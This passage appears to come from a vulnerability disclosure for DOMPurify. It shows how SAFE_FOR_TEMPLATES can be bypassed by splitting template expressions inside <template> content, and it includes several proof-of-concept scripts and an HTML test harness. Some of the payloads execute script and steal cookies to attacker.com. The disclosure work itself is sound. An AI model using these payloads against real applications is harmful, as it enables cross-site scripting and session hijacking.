`\u003c%evil%\u003e`, that survive the sanitization pass inside `\u003ctemplate\u003e` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n\u003e **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `\u003c% %\u003e` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n  node.ownerDocument || node,\n  node,\n  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n  null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `\u003ctemplate\u003e.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `\u003ctemplate\u003e.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `\u003ctemplate\u003e` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`:\n\n```ts\nif (KEEP_CONTENT \u0026\u0026 !FORBID_CONTENTS[tagName]) {\n  const parentNode = getParentNode(currentNode);\n  const childNodes = getChildNodes(currentNode);\n  if (childNodes \u0026\u0026 parentNode) {\n    for (let i = childCount - 1; i \u003e= 0; --i) {\n      const childClone = cloneNode(childNodes[i], true);\n      parentNode.insertBefore(childClone, getNextSibling(currentNode));\n    }\n  }\n}\n```\n\nIf the removed elements were adjacent siblings inside `\u003ctemplate\u003e` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n\u003e *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `\u003ctemplate\u003e` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` `/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n  '\u003ctemplate\u003e' +\n    '\u003cx-split-1\u003e$\u003c/x-split-1\u003e' +\n    '\u003cx-split-2\u003e{alert(document.domain)}\u003c/x-split-2\u003e' +\n  '\u003c/template\u003e';\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect what survived inside the \u003ctemplate\u003e\nconst tmpl = sanitized.querySelector('template');\nconsole.log([...tmpl.content.childNodes].map(n =\u003e n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"]  \u003c-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\"  \u003c-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location='//attacker.com/?c='+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" — does NOT match\n// MUSTACHE_EXPR's \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n  '\u003ctemplate\u003e' +\n    '\u003cx-a\u003e$\u003c/x-a\u003e' +\n    '\u003cx-b\u003e{document.location=\"//attacker.com/?c=\"+document.cookie}\u003c/x-b\u003e' +\n  '\u003c/template\u003e';\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector('template');\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim's browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n\u003c!-- index.html - the vulnerable application --\u003e\n\u003cdiv id=\"output\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\n  import DOMPurify from './dist/purify.es.mjs';\n\n  // Simulates fetching and rendering user-submitted comment\n  async function renderComment(userHtml) {\n    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n    const dom = DOMPurify.sanitize(userHtml, {\n      RETURN_DOM: true,\n      SAFE_FOR_TEMPLATES: true,\n    });\n\n    // Application iterates \u003ctemplate\u003e elements and evaluates their content\n    // (common pattern in component-based frameworks)\n    dom.querySelectorAll('template').forEach(tmpl =\u003e {\n      tmpl.content.normalize(); // standard DOM housekeeping\n      const content = tmpl.content.textContent;\n\n      // Application uses template literals to interpolate user content into UI\n      const rendered = new Function('user', `return \\`${content}\\``)({ name: 'World' });\n      document.getElementById('output').innerHTML += rendered;\n    });\n  }\n\n  // Attacker-supplied comment content\n  const attackerComment =\n    '\u003ctemplate\u003e' +\n      '\u003cx-a\u003e$\u003c/x-a\u003e' +\n      '\u003cx-b\u003e{alert(\"XSS: \" + document.cookie)}\u003c/x-b\u003e' +\n    '\u003c/template\u003e';\n\n  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM\n  renderComment(attackerComment);\n  // !! XSS fires, alert pops with session cookies !!\n\u003c/script\u003e\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim's browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement('div');\nconst tmpl = document.createElement('template');\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode('$'));\ntmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector('template').content.normalize();\nconsole.log(container.querySelector('template').content.textContent);\n// \"${alert(document.domain)}\"  \u003c-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector('template').content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"UTF-8\" /\u003e\n  \u003ctitle\u003eDOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\u003c/title\u003e\n  \u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n  \u003cstyle\u003e\n    * { box-sizing: border-box; margin: 0; padding: 0; }\n    body {\n      font-family: 'Segoe UI', system-ui, sans-serif;\n      background: #0d1117;\n      color: #e6edf3;\n      padding: 32px;\n    }\n    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n    .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n    .card {\n      background: #161b22;\n      border: 1px solid #30363d;\n      border-radius: 8px;\n      margin-bottom: 24px;\n      overflow: hidden;\n    }\n    .card-header {\n      display: flex;\n      align-items: center;\n      gap: 10px;\n      padding: 14px 20px;\n      border-bottom: 1px solid #30363d;\n      background: #1c2128;\n    }\n    .badge {\n      font-size: 0.72rem;\n      font-weight: 700;\n      padding: 2px 8px;\n      border-radius: 4px;\n      text-transform: uppercase;\n      letter-spacing: 0.05em;\n    }\n    .badge-run    { background: #1f6feb; color: #fff; }\n    .badge-pass   { background: #238636; color: #fff; }\n    .badge-fail   { background: #da3633; color: #fff; }\n    .badge-warn   { background: #9e6a03; color: #fff; }\n    .card-title   { font-size: 0.95rem; font-weight: 600; }\n    .card-body    { padding: 20px; }\n    label         { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n    pre {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.82rem;\n      line-height: 1.6;\n      overflow-x: auto;\n      margin-bottom: 14px;\n      white-space: pre-wrap;\n      word-break: break-all;\n    }\n    pre.result    { border-color: #238636; background: #0a1a0f; }\n    pre.escaped   { border-color: #da3633; background: #1a0a0a; }\n    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }\n    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n    @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n    .arrow {\n      text-align: center;\n      font-size: 1.4rem;\n      color: #8b949e;\n      margin: 4px 0;\n    }\n    .xss-banner {\n      display: none;\n      background: #da3633;\n      color: #fff;\n      text-align: center;\n      padding: 16px;\n      font-size: 1.1rem;\n      font-weight: 700;\n      border-radius: 6px;\n      margin-bottom: 24px;\n      letter-spacing: 0.03em;\n    }\n    button {\n      background: #238636;\n      color: #fff;\n      border: none;\n      padding: 10px 22px;\n      border-radius: 6px;\n      font-size: 0.9rem;\n      font-weight: 600;\n      cursor: pointer;\n      margin-right: 10px;\n      margin-bottom: 8px;\n    }\n    button:hover { background: #2ea043; }\n    button.danger { background: #da3633; }\n    button.danger:hover { background: #f85149; }\n    .note {\n      background: #161b22;\n      border-left: 3px solid #9e6a03;\n      padding: 12px 16px;\n      font-size: 0.82rem;\n      color: #e3b341;\n      border-radius: 0 6px 6px 0;\n      margin-top: 14px;\n    }\n    #log {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.8rem;\n      font-family: monospace;\n      min-height: 60px;\n      max-height: 300px;\n      overflow-y: auto;\n      line-height: 1.8;\n    }\n    .log-ok   { color: #3fb950; }\n    .log-fail { color: #f85149; }\n    .log-info { color: #8b949e; }\n    .log-warn { color: #e3b341; }\n  \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n  \u003ch1\u003e🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass\u003c/h1\u003e\n  \u003cp class=\"subtitle\"\u003e\n    CVE candidate · Template expression injection via \u0026lt;template\u0026gt; content ·\n    Affects: \u003ccode\u003eRETURN_DOM + SAFE_FOR_TEMPLATES\u003c/code\u003e and \u003ccode\u003eIN_PLACE + SAFE_FOR_TEMPLATES\u003c/code\u003e\n  \u003c/p\u003e\n\n  \u003cdiv id=\"xss-banner\" class=\"xss-banner\"\u003e\n    ⚠️ XSS CONFIRMED - Expression executed in this page's context\n  \u003c/div\u003e\n\n  \u003c!-- ── Controls ─────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\"\u003eControls\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eRun individual test cases\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cbutton onclick=\"runAll()\"\u003e▶ Run all tests\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC1()\"\u003ePoC 1 - alert()\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC2()\"\u003ePoC 2 - cookie exfil\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC3()\"\u003ePoC 3 - IN_PLACE\u003c/button\u003e\n      \u003cbutton onclick=\"runControl()\"\u003eControl - string output (should block)\u003c/button\u003e\n      \u003cdiv class=\"note\"\u003e\n        PoC 1 uses \u003ccode\u003econfirm()\u003c/code\u003e instead of \u003ccode\u003ealert()\u003c/code\u003e so the page\n        doesn't need a dismiss click to continue. Watch the red banner at the top.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── PoC 1 ─────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc1\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc1\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 1 - XSS via confirm() · RETURN_DOM mode\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER INPUT - splits \u003ccode\u003e${\"{confirm(...)}\"}\u003c/code\u003e across two custom elements\u003c/label\u003e\n          \u003cpre id=\"input-poc1\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eAFTER DOMPurify.sanitize() - what survived in template.content\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc1\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ template.content.normalize() ↓\u003c/div\u003e\n      \u003clabel\u003eMERGED TEXT NODE - fully formed expression after normalization\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc1\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n      \u003cpre id=\"exec-poc1\"\u003eNot run yet\u003c/pre\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── PoC 2 ─────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc2\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc2\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 2 - Cookie exfiltration · RETURN_DOM mode\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER INPUT - exfil payload split across custom elements\u003c/label\u003e\n          \u003cpre id=\"input-poc2\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eINDIVIDUAL TEXT NODES after sanitization (each \"clean\")\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc2\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ template.content.normalize() ↓\u003c/div\u003e\n      \u003clabel\u003eMERGED EXPRESSION - what a template engine would evaluate\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc2\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eSIMULATED EXECUTION (fetch URL that would be called)\u003c/label\u003e\n      \u003cpre id=\"exec-poc2\"\u003eNot run yet\u003c/pre\u003e\n      \u003cdiv class=\"note\"\u003e\n        Real execution would redirect the victim to\n        \u003ccode\u003eattacker.com\u003c/code\u003e carrying the session cookie.\n        This PoC constructs the URL without actually sending it.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── PoC 3 ─────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc3\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc3\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 3 - XSS · IN_PLACE mode (DOM node input)\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER PROVIDES - a DOM node with programmatically split text nodes\u003c/label\u003e\n          \u003cpre id=\"input-poc3\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eAFTER IN_PLACE sanitization - text nodes unchanged\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc3\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ template.content.normalize() ↓\u003c/div\u003e\n      \u003clabel\u003eMERGED EXPRESSION\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc3\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n      \u003cpre id=\"exec-poc3\"\u003eNot run yet\u003c/pre\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── Control ───────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-ctrl\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-ctrl\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eControl - string output (default) MUST block the payload\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003clabel\u003eSame attacker input, but sanitized WITHOUT RETURN_DOM (string output path)\u003c/label\u003e\n      \u003cpre id=\"input-ctrl\"\u003e\u003c/pre\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓\u003c/div\u003e\n      \u003clabel\u003eOUTPUT STRING - expression should be stripped\u003c/label\u003e\n      \u003cpre id=\"output-ctrl\"\u003eNot run yet\u003c/pre\u003e\n      \u003cdiv class=\"note\"\u003e\n        The string output path is NOT vulnerable because\n        \u003ccode\u003ebody.innerHTML\u003c/code\u003e serialises the template content into a\n        flat string where the full \u003ccode\u003e${\"{...}\"}\u003c/code\u003e expression is visible\n        and the final regex scrub catches it.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── Log ───────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\"\u003eLog\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eTest output\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv id=\"log\"\u003e\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n\u003cscript\u003e\n// ── Helpers ────────────────────────────────────────────────────────────────\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = 'info') {\n  const el = document.getElementById('log');\n  const line = document.createElement('div');\n  line.className = 'log-' + type;\n  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;\n  el.appendChild(line);\n  el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n  const el = document.getElementById('badge-' + id);\n  el.textContent = status;\n  el.className = 'badge ' + {\n    PASS: 'badge-fail',   // \"PASS\" here means the attack succeeded (bad for security)\n    BLOCK: 'badge-pass',  // \"BLOCK\" means DOMPurify correctly blocked it\n    PENDING: 'badge-run',\n    ERROR: 'badge-warn',\n  }[status];\n}\n\nfunction markXSS(poc) {\n  if (!xssConfirmed) {\n    xssConfirmed = true;\n    document.getElementById('xss-banner').style.display = 'block';\n  }\n  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');\n}\n\n// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────\n\nfunction runPoC1() {\n  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');\n\n  // IMPORTANT:\n  // Build a REAL template DOM node with split TEXT nodes.\n  // HTML parsing would merge adjacent text automatically,\n  // so we construct the DOM programmatically.\n\n  const container = document.createElement('div');\n  const tmpl = document.createElement('template');\n\n  tmpl.content.appendChild(document.createTextNode('$'));\n  tmpl.content.appendChild(\n    document.createTextNode(\n      '{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}'\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById('input-poc1').textContent =\n    'template.content.childNodes[0].data = \"$\"\\\\n' +\n    'template.content.childNodes[1].data = \"{confirm(...)}\"';\n\n  // Sanitize the DOM node itself\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector('template');\n\n  if (!tmplAfter) {\n    document.getElementById('exec-poc1').textContent =\n      'Template element removed during sanitization';\n    setBadge('poc1', 'ERROR');\n    return;\n  }\n\n  const nodesBefore = [...tmplAfter.content.childNodes].map(\n    n =\u003e JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById('nodes-poc1').textContent =\n    'childNodes[0].data = ' + nodesBefore[0] + '\\\\n' +\n    'childNodes[1].data = ' + nodesBefore[1] + '\\\\n\\\\n' +\n    '→ Neither fragment matched individually.';\n\n  log(\n    'PoC 1: Text nodes after sanitization: ' +\n    nodesBefore.join(', '),\n    'warn'\n  );\n\n  // Merge text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById('merged-poc1').textContent = merged;\n\n  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');\n\n  try {\n    const result = new Function('return `' + merged + '`')();\n\n    document.getElementById('exec-poc1').textContent =\n      '✔ Expression executed successfully\\\\n' +\n      'Returned: ' + result;\n\n    setBadge('poc1', 'PASS');\n    markXSS('PoC 1');\n\n  } catch (e) {\n    document.getElementById('exec-poc1').textContent =\n      'Error: ' + e.message;\n\n    setBadge('poc1', 'ERROR');\n\n    log('PoC 1 error: ' + e.message, 'warn');\n  }\n}\n\n// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────\n\nfunction runPoC2() {\n  log('Running PoC 2 - cookie exfiltration...', 'info');\n\n  // Fake cookie for demonstration\n  document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';\n\n  // IMPORTANT:\n  // Build REAL split text nodes programmatically.\n  // Do NOT rely on HTML parsing.\n\n  const container = document.createElement('div');\n  const tmpl = document.createElement('template');\n\n  tmpl.content.appendChild(document.createTextNode('$'));\n\n  tmpl.content.appendChild(\n    document.createTextNode(\n      '{document.location=\"//attacker.com/steal?c=\"+document.cookie}'\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById('input-poc2').textContent =\n    'template.content.childNodes[0].data = \"$\"\\\\n' +\n    'template.content.childNodes[1].data = \"{document.location=...}\"';\n\n  // Sanitize DOM node\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector('template');\n\n  if (!tmplAfter) {\n    document.getElementById('exec-poc2').textContent =\n      'Template element removed during sanitization';\n\n    setBadge('poc2', 'ERROR');\n\n    log('PoC 2: template element missing after sanitize()', 'warn');\n\n    return;\n  }\n\n  const nodes = [...tmplAfter.content.childNodes].map(\n    n =\u003e JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById('nodes-poc2').textContent =\n    'Node 0: ' + nodes[0] + '\\\\n' +\n    'Node 1: ' + nodes[1] + '\\\\n\\\\n' +\n    '→ Neither fragment individually matches template-expression regexes.';\n\n  log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');\n\n  // Merge adjacent text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById('merged-poc2').textContent = merged;\n\n  log('PoC 2: Merged expression: ' + merged, 'warn');\n\n  // Simulate framework evaluation\n  try {\n    new Function('return `' + merged + '`')();\n\n    const cookieValue = document.cookie;\n\n    const stealUrl =\n      '//attacker.com/steal?c=' +\n      encodeURIComponent(cookieValue);\n\n    document.getElementById('exec-poc2').textContent =\n      '✔ Expression successfully evaluated\\\\n\\\\n' +\n      'Would redirect victim to:\\\\n' +\n      stealUrl + '\\\\n\\\\n' +\n      'Cookie exposed:\\\\n' +\n      cookieValue;\n\n    setBadge('poc2', 'PASS');\n\n    markXSS('PoC 2');\n\n    log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');\n\n  } catch (e) {\n    document.getElementById('exec-poc2').textContent =\n      'Error: ' + e.message;\n\n    setBadge('poc2', 'ERROR');\n\n    log('PoC 2 error: ' + e.message, 'warn');\n  }\n}\n// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────\n\nfunction runPoC3() {\n  log('Running PoC 3 - IN_PLACE mode...', 'info');\n\n  // Build DOM node manually (simulates attacker-controlled DOM input,\n  // e.g. content parsed from a WebSocket message or an iframe)\n  const container = document.createElement('div');\n  const tmplEl = document.createElement('template');\n\n  // Two separate text nodes - HTML parser merges them, but programmatic\n  // DOM construction keeps them split. This is the IN_PLACE attack surface.\n  tmplEl.content.appendChild(document.createTextNode('$'));\n  tmplEl.content.appendChild(document.createTextNode('{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}'));\n  container.appendChild(tmplEl);\n\n  document.getElementById('input-poc3').textContent =\n    '// Programmatically constructed DOM node:\\n' +\n    'template.content.childNodes[0].data = \"$\"\\n' +\n    'template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n' +\n    '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';\n\n  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n  DOMPurify.sanitize(container, {\n    IN_PLACE: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = container.querySelector('template');\n  const nodesAfter = [...tmplAfter.content.childNodes].map(n =\u003e n.nodeValue);\n  document.getElementById('nodes-poc3').textContent =\n    'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\\n' +\n    'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\\n\\n' +\n    '→ _scrubTemplateExpressions() did not enter template.content\\n' +\n    '→ Both nodes unchanged after sanitization.';\n\n  log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n =\u003e JSON.stringify(n)).join(', '), 'warn');\n\n  tmplAfter.content.normalize();\n  const merged = tmplAfter.content.textContent;\n  document.getElementById('merged-poc3').textContent = merged;\n\n  log('PoC 3: Merged: ' + merged, 'warn');\n\n  try {\n    const result = new Function('return `' + merged + '`')();\n    document.getElementById('exec-poc3').textContent =\n      '✔ new Function() returned: ' + result + '\\n' +\n      'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';\n    setBadge('poc3', 'PASS');\n    markXSS('PoC 3');\n  } catch (e) {\n    document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;\n    setBadge('poc3', 'ERROR');\n    log('PoC 3 error: ' + e.message, 'warn');\n  }\n}\n\n// ── Control: string output must block ─────────────────────────────────────\n\nfunction runControl() {\n  log('Running control - string output path (should block)...', 'info');\n\n  const dirty =\n    '\u003ctemplate\u003e' +\n      '\u003cx-split-1\u003e$\u003c/x-split-1\u003e' +\n      '\u003cx-split-2\u003e{confirm(\"this should never fire\")}\u003c/x-split-2\u003e' +\n    '\u003c/template\u003e';\n\n  document.getElementById('input-ctrl').textContent = dirty;\n\n  // Default string output - NOT using RETURN_DOM\n  const sanitized = DOMPurify.sanitize(dirty, {\n    SAFE_FOR_TEMPLATES: true,\n    // RETURN_DOM intentionally omitted - string path is safe\n  });\n\n  document.getElementById('output-ctrl').textContent = sanitized;\n\n  const blocked = !sanitized.includes('${') \u0026\u0026 !sanitized.includes('{confirm');\n  if (blocked) {\n    setBadge('ctrl', 'BLOCK');\n    log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');\n  } else {\n    setBadge('ctrl', 'PASS'); // unexpected\n    log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 